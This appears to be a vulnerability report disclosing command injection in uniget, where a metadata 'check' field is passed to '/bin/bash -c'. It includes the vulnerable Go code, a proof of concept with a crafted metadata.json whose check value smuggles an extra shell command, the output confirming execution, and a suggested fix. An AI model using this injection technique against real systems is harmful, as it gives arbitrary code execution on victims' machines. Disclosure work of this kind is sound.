I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the "check" field from metadata files using "/bin/bash -c". Because the "check" field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as "describe", "install", "update", or "inspect" are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. Details The vulnerable code is located in: "tool.go:250" Vulnerable function: func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil } The issue occurs because the "tool.Check" field is populated directly from metadata JSON files without validation. Related structure: type Tool struct { Check string } Metadata loading uses "json.Unmarshal()" to populate the "Tool" struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink. Because "/bin/bash -c" is used, shell metacharacters such as ";", "&&", "|", "$()", and backticks are interpreted by the shell, enabling arbitrary command injection. PoC Step 1 — Verify the vulnerable binary: /tmp/uniget-bin --version Output: uniget version main Step 2 — Create malicious metadata cache: mkdir -p ~/.local/var/cache/uniget cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF Step 3 — Create placeholder binary: mkdir -p ~/.local/usr/local/bin cat > ~/.local/usr/local/bin/evil-tool << 'EOF' #!/bin/bash echo "placeholder" EOF chmod +x ~/.local/usr/local/bin/evil-tool Step 4 — Trigger the vulnerable workflow: /tmp/uniget-bin describe evil-tool --prefix ~/.local Application output: Name: evil-tool Description: RCE test Repository: https://example.com Version: 1.0.0 Check: <echo '1.0.0'; id > /tmp/rce-proof.txt> Step 5 — Verify arbitrary command execution: ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt Actual output: -rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker) <img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" /><img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" />This confirms arbitrary command execution through the untrusted "check" field loaded from metadata. Impact This issue allows arbitrary command execution on systems running uniget when processing malicious metadata. An attacker may be able to: * Execute arbitrary shell commands * Exfiltrate sensitive files or environment variables * Install malware or backdoors * Modify or delete accessible files * Establish persistence on the victim machine * Compromise CI/CD environments using uniget automation Any user importing or processing attacker-controlled metadata may be impacted. Suggested Remediation Avoid using "/bin/bash -c" with untrusted input. Instead of: exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") consider executing fixed binaries and arguments directly without invoking a shell. For example: exec.Command(binary, "--version") or sanitize and strictly validate allowed commands before execution. Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.